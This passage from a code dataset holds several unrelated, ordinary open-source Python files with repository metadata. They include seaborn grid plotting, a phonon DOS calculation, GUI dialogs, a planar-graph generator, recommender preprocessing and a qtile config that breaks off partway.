hue_grouped]\n func(vals, color=self.palette, histtype=\"barstacked\",\n **kwargs)\n else:\n for k, (label_k, data_k) in enumerate(hue_grouped):\n plt.sca(ax)\n func(data_k, label=label_k,\n color=self.palette[k], **kwargs)\n\n self._clean_axis(ax)\n\n self._add_axis_labels()\n\n def map_lower(self, func, **kwargs):\n \"\"\"Plot with a bivariate function on the lower diagonal subplots.\n\n Parameters\n ----------\n func : callable plotting function\n Must take x, y arrays as positional arguments and draw onto the\n \"currently active\" matplotlib Axes.\n\n \"\"\"\n kw_color = kwargs.pop(\"color\", None)\n for i, j in zip(*np.tril_indices_from(self.axes, -1)):\n hue_grouped = self.data.groupby(self.hue_vals)\n for k, (label_k, data_k) in enumerate(hue_grouped):\n\n ax = self.axes[i, j]\n plt.sca(ax)\n\n x_var = self.x_vars[j]\n y_var = self.y_vars[i]\n\n # Insert the other hue aesthetics if appropriate\n for kw, val_list in self.hue_kws.items():\n kwargs[kw] = val_list[k]\n\n color = self.palette[k] if kw_color is None else kw_color\n func(data_k[x_var], data_k[y_var], label=label_k,\n color=color, **kwargs)\n\n self._clean_axis(ax)\n self._update_legend_data(ax)\n\n if kw_color is not None:\n kwargs[\"color\"] = kw_color\n self._add_axis_labels()\n\n def map_upper(self, func, **kwargs):\n \"\"\"Plot with a bivariate function on the upper diagonal subplots.\n\n Parameters\n ----------\n func : callable plotting function\n Must take x, y arrays as positional arguments and draw onto the\n \"currently active\" matplotlib Axes.\n\n \"\"\"\n kw_color = kwargs.pop(\"color\", None)\n for i, j in zip(*np.triu_indices_from(self.axes, 1)):\n\n hue_grouped = self.data.groupby(self.hue_vals)\n for k, (label_k, data_k) in enumerate(hue_grouped):\n\n ax = self.axes[i, j]\n plt.sca(ax)\n\n x_var = self.x_vars[j]\n y_var = self.y_vars[i]\n\n # Insert the other hue aesthetics if appropriate\n for kw, val_list in self.hue_kws.items():\n kwargs[kw] = val_list[k]\n\n color = self.palette[k] if kw_color is None else kw_color\n func(data_k[x_var], data_k[y_var], label=label_k,\n color=color, **kwargs)\n\n self._clean_axis(ax)\n self._update_legend_data(ax)\n\n if kw_color is not None:\n kwargs[\"color\"] = kw_color\n\n def map_offdiag(self, func, **kwargs):\n \"\"\"Plot with a bivariate function on the off-diagonal subplots.\n\n Parameters\n ----------\n func : callable plotting function\n Must take x, y arrays as positional arguments and draw onto the\n \"currently active\" matplotlib Axes.\n\n \"\"\"\n\n self.map_lower(func, **kwargs)\n self.map_upper(func, **kwargs)\n\n def _add_axis_labels(self):\n \"\"\"Add labels to the left and bottom Axes.\"\"\"\n for ax, label in zip(self.axes[-1, :], self.x_vars):\n ax.set_xlabel(label)\n for ax, label in zip(self.axes[:, 0], self.y_vars):\n ax.set_ylabel(label)\n\n def _find_numeric_cols(self, data):\n \"\"\"Find which variables in a DataFrame are numeric.\"\"\"\n # This can't be the best way to do this, but I do not\n # know what the best way might be, so this seems ok\n numeric_cols = []\n for col in data:\n try:\n data[col].astype(np.float)\n numeric_cols.append(col)\n except (ValueError, TypeError):\n pass\n return numeric_cols\n\n\nclass JointGrid(object):\n \"\"\"Grid for drawing a bivariate plot with marginal univariate plots.\"\"\"\n def __init__(self, x, y, data=None, size=6, ratio=5, space=.2,\n dropna=True, xlim=None, ylim=None):\n \"\"\"Set up the grid of subplots.\n\n Parameters\n ----------\n x, y : strings or vectors\n Data or names of variables in `data`.\n data : DataFrame, optional\n DataFrame when `x` and `y` are variable names.\n size : numeric\n Size of the figure (it will be square).\n ratio : numeric\n Ratio of joint axes size to marginal axes height.\n space : numeric, optional\n Space between the joint and marginal axes\n dropna : bool, optional\n If True, remove observations that are missing from `x` and `y`.\n {x, y}lim : two-tuples, optional\n Axis limits to set before plotting.\n\n See Also\n --------\n jointplot : Inteface for drawing bivariate plots with several different\n default plot kinds.\n\n \"\"\"\n # Set up the subplot grid\n f = plt.figure(figsize=(size, size))\n gs = plt.GridSpec(ratio + 1, ratio + 1)\n\n ax_joint = f.add_subplot(gs[1:, :-1])\n ax_marg_x = f.add_subplot(gs[0, :-1], sharex=ax_joint)\n ax_marg_y = f.add_subplot(gs[1:, -1], sharey=ax_joint)\n\n self.fig = f\n self.ax_joint = ax_joint\n self.ax_marg_x = ax_marg_x\n self.ax_marg_y = ax_marg_y\n\n # Turn off tick visibility for the measure axis on the marginal plots\n plt.setp(ax_marg_x.get_xticklabels(), visible=False)\n plt.setp(ax_marg_y.get_yticklabels(), visible=False)\n\n # Turn off the ticks on the density axis for the marginal plots\n plt.setp(ax_marg_x.yaxis.get_majorticklines(), visible=False)\n plt.setp(ax_marg_x.yaxis.get_minorticklines(), visible=False)\n plt.setp(ax_marg_y.xaxis.get_majorticklines(), visible=False)\n plt.setp(ax_marg_y.xaxis.get_minorticklines(), visible=False)\n plt.setp(ax_marg_x.get_yticklabels(), visible=False)\n plt.setp(ax_marg_y.get_xticklabels(), visible=False)\n ax_marg_x.yaxis.grid(False)\n ax_marg_y.xaxis.grid(False)\n\n # Possibly extract the variables from a DataFrame\n if data is not None:\n if x in data:\n x = data[x]\n if y in data:\n y = data[y]\n\n # Possibly drop NA\n if dropna:\n not_na = pd.notnull(x) & pd.notnull(y)\n x = x[not_na]\n y = y[not_na]\n\n # Find the names of the variables\n if hasattr(x, \"name\"):\n xlabel = x.name\n ax_joint.set_xlabel(xlabel)\n if hasattr(y, \"name\"):\n ylabel = y.name\n ax_joint.set_ylabel(ylabel)\n\n # Convert the x and y data to arrays for plotting\n self.x = np.asarray(x)\n self.y = np.asarray(y)\n\n if xlim is not None:\n ax_joint.set_xlim(xlim)\n if ylim is not None:\n ax_joint.set_ylim(ylim)\n\n # Make the grid look nice\n utils.despine(f)\n utils.despine(ax=ax_marg_x, left=True)\n utils.despine(ax=ax_marg_y, bottom=True)\n f.tight_layout()\n f.subplots_adjust(hspace=space, wspace=space)\n\n def plot(self, joint_func, marginal_func, annot_func=None):\n \"\"\"Shortcut to draw the full plot.\n\n Use `plot_joint` and `plot_marginals` directly for more control.\n\n Parameters\n ----------\n joint_func, marginal_func: callables\n Functions to draw the bivariate and univariate plots.\n\n Returns\n -------\n self : JointGrid instance\n Returns `self`.\n\n \"\"\"\n self.plot_marginals(marginal_func)\n self.plot_joint(joint_func)\n if annot_func is not None:\n self.annotate(annot_func)\n return self\n\n def plot_joint(self, func, **kwargs):\n \"\"\"Draw a bivariate plot of `x` and `y`.\n\n Parameters\n ----------\n func : plotting callable\n This must take two 1d arrays of data as the first two\n positional arguments, and it must plot on the \"current\" axes.\n kwargs : key, value mappings\n Keyword argument are passed to the plotting function.\n\n Returns\n -------\n self : JointGrid instance\n Returns `self`.\n\n \"\"\"\n plt.sca(self.ax_joint)\n func(self.x, self.y, **kwargs)\n\n return self\n\n def plot_marginals(self, func, **kwargs):\n \"\"\"Draw univariate plots for `x` and `y` separately.\n\n Parameters\n ----------\n func : plotting callable\n This must take a 1d array of data as the first positional\n argument, it must plot on the \"current\" axes, and it must\n accept a \"vertical\" keyword argument to orient the measure\n dimension of the plot vertically.\n kwargs : key, value mappings\n Keyword argument are passed to the plotting function.\n\n Returns\n -------\n self : JointGrid instance\n Returns `self`.\n\n \"\"\"\n plt.sca(self.ax_marg_x)\n func(self.x, **kwargs)\n\n kwargs[\"vertical\"] = True\n plt.sca(self.ax_marg_y)\n func(self.y, **kwargs)\n\n return self\n\n def annotate(self, func, template=None, stat=None, loc=\"best\", **kwargs):\n \"\"\"Annotate the plot with a statistic about the relationship.\n\n Parameters\n ----------\n func : callable\n Statistical function that maps the x, y vectors either to (val, p)\n or to val.\n template : string format template, optional\n The template must have the format keys \"stat\" and \"val\";\n if `func` returns a p value, it should also have the key \"p\".\n stat : string, optional\n Name to use for the statistic in the annotation, by default it\n uses the name of `func`.\n loc : string or int, optional\n Matplotlib legend location code; used to place the annotation.\n kwargs : key, value mappings\n Other keyword arguments are passed to `ax.legend`, which formats\n the annotation.\n\n Returns\n -------\n self : JointGrid instance.\n Returns `self`.\n\n \"\"\"\n default_template = \"{stat} = {val:.2g}; p = {p:.2g}\"\n\n # Call the function and determine the form of the return value(s)\n out = func(self.x, self.y)\n try:\n val, p = out\n except TypeError:\n val, p = out, None\n default_template, _ = default_template.split(\";\")\n\n # Set the default template\n if template is None:\n template = default_template\n\n # Default to name of the function\n if stat is None:\n stat = func.__name__\n\n # Format the annotation\n if p is None:\n annotation = template.format(stat=stat, val=val)\n else:\n annotation = template.format(stat=stat, val=val, p=p)\n\n # Draw an invisible plot and use the legend to draw the annotation\n # This is a bit of a hack, but `loc=best` works nicely and is not\n # easily abstracted.\n phantom, = self.ax_joint.plot(self.x, self.y, linestyle=\"\", alpha=0)\n self.ax_joint.legend([phantom], [annotation], loc=loc, **kwargs)\n phantom.remove()\n\n return self\n\n def set_axis_labels(self, xlabel=\"\", ylabel=\"\", **kwargs):\n \"\"\"Set the axis labels on the bivariate axes.\n\n Parameters\n ----------\n xlabel, ylabel : strings\n Label names for the x and y variables.\n kwargs : key, value mappings\n Other keyword arguments are passed to the set_xlabel or\n set_ylabel.\n\n Returns\n -------\n self : JointGrid instance\n returns `self`\n\n \"\"\"\n self.ax_joint.set_xlabel(xlabel, **kwargs)\n self.ax_joint.set_ylabel(ylabel, **kwargs)\n return self\n","repo_name":"cucu7te/TLSensing","sub_path":"lib/python2.7/site-packages/seaborn/axisgrid.py","file_name":"axisgrid.py","file_ext":"py","file_size_in_byte":48212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"26581333784","text":"from schnetpack.utils import load_model\nfrom mlcalcdriver import Posinp\nfrom mlcalcdriver.interfaces import posinp_to_ase_atoms\nfrom schnetpack.environment import AseEnvironmentProvider\nfrom schnetpack.interfaces import SpkCalculator\nfrom phonon_projections.dos import Dos\nfrom ase.phonons import Phonons\nimport torch\nimport h5py\n\n\ndef get_dos(\n model,\n posinp,\n device=\"cpu\",\n supercell=(6, 6, 6),\n qpoints=[30, 30, 30],\n npts=1000,\n width=0.004,\n):\n if isinstance(posinp, str):\n atoms = posinp_to_ase_atoms(Posinp.from_file(posinp))\n elif isinstance(posinp, Posinp):\n atoms = posinp_to_ase_atoms(posinp)\n else:\n raise ValueError(\"The posinp variable is not recognized.\")\n\n if isinstance(model, str):\n model = load_model(model, map_location=device)\n elif isinstance(model, torch.nn.Module):\n pass\n else:\n raise ValueError(\"The model variable is not recognized.\")\n\n assert len(supercell) == 3, \"Supercell should be a length 3 object.\"\n assert len(qpoints) == 3, \"Qpoints should be a length 3 object.\"\n supercell = tuple(supercell)\n\n cutoff = float(\n model.state_dict()[\"representation.interactions.0.cutoff_network.cutoff\"]\n )\n calculator = SpkCalculator(\n model,\n device=device,\n energy=\"energy\",\n forces=\"forces\",\n environment_provider=AseEnvironmentProvider(cutoff),\n )\n ph = Phonons(atoms, calculator, supercell=supercell, delta=0.02)\n ph.run()\n ph.read(acoustic=True)\n dos = ph.get_dos(kpts=qpoints).sample_grid(npts=npts, width=width)\n ph.clean()\n return Dos(dos.energy * 8065.6, dos.weights[0])\n","repo_name":"OMalenfantThuot/phonon_projections","sub_path":"phonon_projections/dos/generation.py","file_name":"generation.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"10373951977","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport wx\r\nimport wx.lib.wxpTag\r\nimport wx.html2\r\n\r\n\r\nclass FaqDialog(wx.Frame):\r\n def __init__(self, parent):\r\n wx.Frame.__init__(self, parent, size=(600, 500), style=wx.DEFAULT_FRAME_STYLE & ~(\r\n wx.RESIZE_BORDER | wx.RESIZE_BOX | wx.MAXIMIZE_BOX) | wx.CAPTION | wx.STAY_ON_TOP)\r\n self.Centre()\r\n self.InitUI()\r\n self.SetTitle(u\"Руководство\")\r\n self.Show(True)\r\n\r\n def InitUI(self):\r\n f = open(\"faq.html\", \"r\") # The html page as a python string literal\r\n page = f.read().replace('\\n', '
    ').replace('\\t', ' ').replace(' ', '  ').decode('utf8')\r\n # self.htmlwin = wx.html.HtmlWindow(self)\r\n # self.htmlwin.SetPage(page)\r\n self.browser = wx.html2.WebView.New(self)\r\n self.browser.SetPage(page, \"/\")\r\n","repo_name":"Endevir/LOTRO-Enchanced-text-patcher","sub_path":"FaqDialog.py","file_name":"FaqDialog.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"36130758468","text":"\"\"\"\nTest result of this code:\n\n('User: Hi. I like everything but fantasy films and alien type stuff. have you seen anything good lately?\\n', \"System: I haven't seen The Lord of the Rings yet. I'm not sure what I can find.\")\n\"\"\"\n\nimport sys\nfrom recwizard.modules.unicrs import UnicrsGen, UnicrsRec\nfrom recwizard.pipelines.chatgpt import ChatgptAgentConfig, ChatgptAgent\n\nif __name__ == '__main__':\n model = ChatgptAgent(\n config=ChatgptAgentConfig(),\n gen_module=UnicrsGen.from_pretrained('recwizard/unicrs-gen-redial'),\n rec_module=UnicrsRec.from_pretrained('recwizard/unicrs-rec-redial'),\n )\n query = 'User: Hi. I like everything but fantasy films and alien type stuff.' \\\n ' have you seen anything good lately?'\n\n print(model.response(query))\n","repo_name":"McAuley-Lab/RecWizard","sub_path":"examples/response/chatgpt_manager.py","file_name":"chatgpt_manager.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"14065920562","text":"# link: https://leetcode.com/problems/make-the-string-great/\n\nclass Solution:\n def makeGood(self, s: str) -> str:\n stack = []\n for c in s:\n if stack and c.lower() == stack[-1].lower() and (c.islower() ^ stack[-1].islower()):\n stack.pop()\n else:\n stack.append(c)\n\n return ''.join(stack)\n\n","repo_name":"rbrn1999/leetcode-sol","sub_path":"problems/1544. Make The String Great.py","file_name":"1544. Make The String Great.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13400357922","text":"#coding:utf-8\n\n'''\n filename:last_friday.py\n chap:7\n subject:3\n conditions:module datetime,calendar\n solution:class LastFriday\n'''\n\nfrom datetime import datetime\n\n\nclass LastFriday:\n def __init__(self,date_string:'yyyy,mm,dd'):\n self.date = datetime.strptime(date_string, '%Y,%m,%d')\n self.lastFriday = self.get_lastFriday()\n def get_lastFriday(self):\n ordinal = self.date.toordinal()\n while True:\n tempday = datetime.fromordinal(ordinal)\n if tempday.isoweekday() == 5:\n return tempday\n ordinal-=1\n def __repr__(self):\n return 'LastFriday:{!r}'.format(self.lastFriday)\n\n\n\nif __name__ == '__main__':\n today = LastFriday(datetime.today().strftime('%Y,%m,%d'))\n print(today)\n","repo_name":"marble-git/python-laoqi","sub_path":"chap7/last_friday.py","file_name":"last_friday.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7750072102","text":"from .UserParameters import *\nimport time\nimport pickle\nfrom ..db_connection import load_data_db\nfrom .Kmeans import kmeans\n\ndef chat_based_model_preprocessing():\n while True:\n try:\n hot_encode_three_categories()\n data_preprocessing()\n break \n except Exception as e:\n print(\"Connection to database failed\")\n time.sleep(2)\n\ndef hot_encode_three_categories():\n\n postgreSQL_select_Query = \"select * from toys_shop.categories;\"\n categories = load_data_db(postgreSQL_select_Query)\n categories = np.array(categories) \n # c_names is ['المتجر > كتب تعليمية وسلاسل قصصية > بطاقات ', 'المتجر > تنمية المهارات > العاب العلوم '] of all 38 (till now) distinct categories_name \n c1_names = categories[:,0].copy()\n c2_names = categories[:,1].copy()\n c3_names = categories[:,2].copy()\n \n # c1_str,c2_str,c3_str are 1D arrays of strings, each string is the hot encode of a category consisting of multiple bits\n # ex: c1_str = ['100','001'] \n c1_str = []\n c2_str = []\n c3_str = []\n\n # c1,c2,c3 are the hotencode category1,category2,category3\n # Array of arrays, each array consits of many strings, each string is a bit (0 or 1)\n # ex: c1 = [['1','0','0'],['0','0','1']] \n c1=pd.get_dummies(c1_names).to_numpy() # c1 is the hot encoding of category1 names ex: c1 = [['1','0','0'],['0','0','1']] \n c2=pd.get_dummies(c2_names).to_numpy() # c2 is the hot encoding of category2 names\n c3=pd.get_dummies(c3_names).to_numpy() # c3 is the hot encoding of category3 names\n\n for i in range (len(c1)):\n s=\"\"\n for bit in c1[i]:\n s+=str(bit)\n c1_str.append(s)\n s=\"\"\n for bit in c2[i]:\n s+=str(bit)\n c2_str.append(s)\n s=\"\"\n for bit in c3[i]:\n s+=str(bit)\n c3_str.append(s)\n\n # c_codes is ['000010','0000100000001000000000001','01000000'] where c_codes saves all the hot encodings of all categories\n c_codes=np.concatenate((c1_str, c2_str, c3_str), axis=None)\n # c_names is [' مجموعات ضمنية وكروت تخاطب ' ' منتسوري ' ' منتسوري ' ' منتسوري '] where c_codes saves all names of all categories\n c_names = np.concatenate((c1_names, c2_names, c3_names), axis=None)\n dictionary = dict(zip(c_names, c_codes))\n with open('dictionary.pkl', 'wb') as handle:\n pickle.dump(dictionary, handle, protocol=pickle.HIGHEST_PROTOCOL)\n c_len = [len(c1[0]), len(c2[0]), len(c3[0])]\n with open('c_len.pkl', 'wb') as handle:\n pickle.dump(c_len, handle)\n\n\ndef data_preprocessing():\n query = \"select product_id, categories_name, price, age from toys_shop.products where price <= 3000;\"\n products = load_data_db(query) \n \n data = []\n prices = []\n ages = []\n for product in products:\n #prices (bara el for loop) collects all product's prices to be able to calculate max and min price\n prices.append(product[2])\n ages.append(product[3])\n maxPrice = max(prices)\n minPrice = min(prices)\n maxAge = max(ages)\n minAge = min(ages)\n #save max price and min price in a file to be used in normalizing fixed_user_parameters\n with open('max_min_prices.pkl', 'wb') as handle:\n pickle.dump([maxPrice, minPrice], handle)\n #save max age and min age in a file to be used in normalizing fixed_user_parameters\n with open('max_min_ages.pkl', 'wb') as handle:\n pickle.dump([maxAge, minAge], handle)\n #load the lengths of category 1,2,3\n with open('c_len.pkl', 'rb') as handle:\n c_len = pickle.load(handle)\n cat1_zeroes = '0' * c_len[0]\n cat2_zeroes = '0' * c_len[1]\n cat3_zeroes = '0' * c_len[2]\n data, products = hot_encode_products(products, cat1_zeroes, cat2_zeroes, cat3_zeroes, maxPrice, minPrice, maxAge, minAge)\n #save the data list [0,1,0,0,0,0,1,.....,0,0.15] to a file\n with open('data.pkl', 'wb') as handle:\n pickle.dump(data, handle)\n #save the products list [148,'00100001000000001',0.15] to a file\n with open('products.pkl', 'wb') as handle:\n pickle.dump(products, handle)\n #clust represents the product array (its an array of product arrays each product array is of a specific cluster)\n clust = kmeans()\n encoded_clust = []\n encoded_clust.append(cat_string_to_list(clust[0]))\n encoded_clust.append(cat_string_to_list(clust[1]))\n encoded_clust.append(cat_string_to_list(clust[2]))\n encoded_clust.append(cat_string_to_list(clust[3]))\n encoded_clust.append(cat_string_to_list(clust[4]))\n encoded_clust.append(cat_string_to_list(clust[5]))\n\n #save the clustered data representing the products\n with open('clust.pkl', 'wb') as handle:\n pickle.dump(clust, handle)\n\n #save the encoded cluster data representing the data\n with open('encoded_clust.pkl', 'wb') as handle:\n pickle.dump(encoded_clust, handle)\n\ndef hot_encode_products(products, cat1_zeroes, cat2_zeroes, cat3_zeroes, maxPrice, minPrice, maxAge, minAge):\n with open('dictionary.pkl', 'rb') as handle:\n dictionary = pickle.load(handle)\n data = []\n for product in products:\n # hot encode each category name and append it into \"row\" list\n s = \"\"\n s = str(product[1])\n categories = s.split('>')\n if len(categories) == 1:\n product[1] = cat1_zeroes + cat2_zeroes + cat3_zeroes\n elif len(categories) == 2:\n product[1]=dictionary[categories[1]] + cat2_zeroes + cat3_zeroes\n elif len(categories) == 3:\n product[1]=dictionary[categories[1]] + dictionary[categories[2]] + cat3_zeroes\n else:\n product[1]=dictionary[categories[1]] + dictionary[categories[2]] + dictionary[categories[3]]\n row = list(map(int, product[1])) #[0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n #normalize prices\n product[2] = (product[2] - minPrice) / (maxPrice - minPrice)\n #normalize ages\n product[3] = (float(product[3]) - float(minAge)) / (float(maxAge) - float(minAge))\n #append price and age to \"row\" making it last item in it\n row.append(product[2])\n row.append(product[3])\n #data (bara el for loop) array of arrays\n data.append(row)\n return data, products\n\n\ndef cat_string_to_list(products):\n data = []\n for product in products:\n row = list(map(int, product[1])) #[0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n #append price and age to \"row\" making it last item in it\n row.append(product[2])\n row.append(product[3])\n #data (bara el for loop) array of arrays\n data.append(row)\n return data","repo_name":"be320/Almerce-Backend","sub_path":"app/chat_based_model/Preprocessing.py","file_name":"Preprocessing.py","file_ext":"py","file_size_in_byte":6905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10330656346","text":"import cocos\nfrom PIL import Image\n\nfrom reconstruction import reconstruction\nfrom cocos import layer\n\n\n# noinspection PyGlobalUndefined\nclass MainScene(cocos.layer.Layer):\n def __init__(self):\n super(MainScene, self).__init__()\n d_width, d_height = cocos.director.director.get_window_size()\n\n background = cocos.sprite.Sprite('Resource//main_scene//background.png')\n background.position = d_width // 2, d_height // 2\n\n global origin, featurepoint, white, thidcoord\n\n origin_label = cocos.text.Label(\"相机画面\", color=(0, 0, 0, 255))\n origin_label.position = 250, 680\n origin = cocos.sprite.Sprite('Resource//main_scene//display_panel.png')\n origin.position = 290, 530\n\n feature_point_label = cocos.text.Label(\"特征点\", color=(0, 0, 0, 255))\n feature_point_label.position = 250, 330\n featurepoint = cocos.sprite.Sprite('Resource//main_scene//display_panel.png')\n featurepoint.position = 290, 180\n\n white_label = cocos.text.Label(\"原始图像\", color=(0, 0, 0, 255))\n white_label.position = 720, 680\n white = cocos.sprite.Sprite('Resource//main_scene//display_panel.png')\n white.position = 750, 530\n\n thidcoord_label = cocos.text.Label(\"三维坐标\", color=(0, 0, 0, 255))\n thidcoord_label.position = 720, 330\n thidcoord = cocos.sprite.Sprite('Resource//main_scene//display_panel.png')\n thidcoord.position = 750, 180\n\n self.add(background)\n self.add(origin_label)\n self.add(origin)\n self.add(feature_point_label)\n self.add(featurepoint)\n self.add(white_label)\n self.add(white)\n self.add(thidcoord_label)\n self.add(thidcoord)\n\n main_menu = Main_Menu()\n self.add(main_menu)\n\n def camera(self):\n img = Image.open('square.png')\n image = img.resize((320, 256), Image.ANTIALIAS)\n image.save(\"Resource//main_scene//square_display.png\")\n origin = cocos.sprite.Sprite('Resource//main_scene//square_display.png')\n origin.position = 290, 530\n self.add(origin)\n\n img = Image.open('square.png')\n image = img.resize((320, 256), Image.ANTIALIAS)\n image.save(\"Resource//main_scene//square_display.png\")\n origin = cocos.sprite.Sprite('Resource//main_scene//square_display.png')\n origin.position = 750, 530\n self.add(origin)\n\n def feature_point_reconstruct(self):\n img = Image.open('feature_point.png')\n image = img.resize((320, 256), Image.ANTIALIAS)\n image.save(\"Resource//main_scene//feature_point.png\")\n featurepoint = cocos.sprite.Sprite('Resource//main_scene//feature_point.png')\n featurepoint.position = 290, 180\n self.add(featurepoint)\n\n img = Image.open('Resource//main_scene//reconstruction_result.png')\n image = img.resize((320, 256), Image.ANTIALIAS)\n image.save(\"Resource//main_scene//reconstruction_result.png\")\n thicoord = cocos.sprite.Sprite('Resource//main_scene//reconstruction_result.png')\n thicoord.position = 750, 180\n self.add(thicoord)\n\n\n# 自定义菜单类\n\nclass Main_Menu(cocos.menu.Menu):\n\n def __init__(self):\n super(Main_Menu, self).__init__()\n cocos.layer.Layer.is_event_handler = True\n d_width, d_height = cocos.director.director.get_window_size()\n\n # 文本菜单项 (文字,回掉函数)\n\n item1 = cocos.menu.MenuItem('标定', self.item1_callback)\n\n item2 = cocos.menu.MenuItem('投影', self.item2_callback)\n\n item3 = cocos.menu.MenuItem('拍照', self.item3_callback)\n\n item4 = cocos.menu.MenuItem('重建', self.item4_callback)\n\n item5 = cocos.menu.MenuItem('帮助', self.item5_callback)\n\n # 创建菜单(添加项的列表,选中效果,未选中效果)\n\n self.create_menu([item1, item2, item3, item4, item5],\n layout_strategy=cocos.menu.fixedPositionMenuLayout(\n [(1050, 550), (1050, 450), (1050, 350), (1050, 250), (1050, 150)]),\n\n selected_effect=cocos.menu.shake(),\n\n unselected_effect=cocos.menu.shake_back(),\n\n )\n # 改变字体\n\n self.font_item['font_size'] = 8\n\n # 选中时\n\n self.font_item_selected['font_size'] = 16\n\n def item1_callback(self):\n pass\n\n def item2_callback(self, value):\n pass\n\n def item3_callback(self):\n MainScene.camera(self.parent)\n\n def item4_callback(self):\n reconstruction()\n MainScene.feature_point_reconstruct(self.parent)\n\n def item5_callback(self):\n pass\n\n\ndef create():\n # 将背景层 添加到场景\n bg = MainScene()\n global main_scene\n main_scence = cocos.scene.Scene(bg)\n # main_menu = Main_Menu()\n # main_scence.add(main_menu)\n return main_scence\n","repo_name":"Tang1705/GF4-based-3D-Reconstruction","sub_path":"GF(4)论文复现/GF4软件v1.0/Main_Scene.py","file_name":"Main_Scene.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"73857764402","text":"from libpysal import weights, examples\nfrom libpysal.cg import voronoi_frames\n#import geopandas\nimport networkx as nx\nimport numpy as np\nfrom itertools import combinations\n#from math import sqrt\nimport random\n\ndef planar_graph(nnode, G0 = None, subN = None, L_max=None, L_min = None, domain=(0, 0, 1, 1), metric=None, seed=10, connected_component=True):\n \"\"\"Returns a planar random graph modified so that only egdes within a distance are possible\n\n \"\"\"\n\n prng = np.random.RandomState(seed)\n if G0 is None:\n G = nx.Graph()\n G.add_nodes_from(np.arange(nnode))\n (xmin, ymin, xmax, ymax) = domain\n # Each node gets a uniformly random position in the given rectangle.\n pos = {v: (prng.uniform(xmin, xmax), prng.uniform(ymin, ymax)) for v in G}\n nx.set_node_attributes(G, pos, \"pos\")\n else:\n G = nx.Graph()\n G.add_nodes_from(G0.nodes(data=True))\n nnode = G.number_of_nodes()\n pos = nx.get_node_attributes(G, \"pos\")\n\n if subN is None:\n subN = nnode\n\n if subN < nnode:\n random.seed(seed)\n node2remove = random.sample(list(G.nodes()),k = nnode-subN)\n G.remove_nodes_from(node2remove)\n\n ### Extracts planar graph\n nodes = list(G.nodes())\n coordinates = np.array([(pos[n][0],pos[n][1]) for n in list(G.nodes())])\n cells, generators = voronoi_frames(coordinates, clip=\"convex hull\")\n delaunay = weights.Rook.from_dataframe(cells)\n G = delaunay.to_networkx()\n G = nx.relabel_nodes(G, { i: nodes[i] for i in range(G.number_of_nodes())})\n positions = { n: coordinates[i] for i,n in enumerate(list(G.nodes())) }\n nx.set_node_attributes(G, positions, \"pos\")\n\n # If no distance metric is provided, use Euclidean distance.\n if metric is None:\n metric = euclidean\n\n if L_max is None:\n L_max = max(metric(x, y) for x, y in combinations(positions.values(), 2))\n if L_min is None:\n L_min = 0\n\n def dist(u, v):\n return metric(positions[u], positions[v])\n\n edges2remove = [e for e in list(G.edges()) if np.logical_or(dist(*e) > L_max,dist(*e) < L_min ) == True]\n G.remove_edges_from(edges2remove)\n\n if connected_component == True:\n Gc = max(nx.connected_components(G), key=len)\n nodes_to_remove = set(G.nodes()).difference(Gc)\n G.remove_nodes_from(list(nodes_to_remove))\n\n return G\n\n\n\ndef euclidean(x, y):\n \"\"\"Returns the Euclidean distance between the vectors ``x`` and ``y``.\n\n Each of ``x`` and ``y`` can be any iterable of numbers. The\n iterables must be of the same length.\n\n \"\"\"\n return np.sqrt(sum((a - b) ** 2 for a, b in zip(x, y)))","repo_name":"cdebacco/MultiOT","sub_path":"src/generate_planar.py","file_name":"generate_planar.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"75"} +{"seq_id":"19971861293","text":"import os\nimport subprocess\n\nfrom libqtile.config import Key, Group, Drag, Click\nfrom libqtile.command import lazy\nfrom libqtile import layout, hook\n\n\n@hook.subscribe.startup_once\ndef autostart():\n script = os.path.expanduser('~/.config/qtile/autostart.sh')\n subprocess.call([script])\n\n\nmod = \"mod4\"\n\nkeys = [\n # Switch between windows in current stack pane\n Key(\n [mod], \"j\",\n lazy.layout.down()\n ),\n Key(\n [mod], \"k\",\n lazy.layout.up()\n ),\n\n # Move windows up or down in current stack\n Key(\n [mod, \"control\"], \"j\",\n lazy.layout.shuffle_down()\n ),\n Key(\n [mod, \"control\"], \"k\",\n lazy.layout.shuffle_up()\n ),\n\n # Switch window focus to other pane(s) of stack\n Key(\n [mod], \"h\",\n lazy.layout.previous()\n ),\n Key(\n [mod], \"l\",\n lazy.layout.next()\n ),\n\n # Move current window to between stacks\n Key(\n [mod, \"control\"], \"h\",\n lazy.layout.client_to_previous()\n ),\n Key(\n [mod, \"control\"], \"l\",\n lazy.layout.client_to_next()\n ),\n\n # Add/delete stacks\n Key(\n [mod], \"i\",\n lazy.layout.add()\n ),\n Key(\n [mod], \"o\",\n lazy.layout.delete()\n ),\n\n # Rotate panes of split stack\n Key(\n [mod], \"Tab\",\n lazy.layout.rotate()\n ),\n\n\n # Toggle between split and unsplit sides of stack.\n # Split = all windows displayed\n # Unsplit = 1 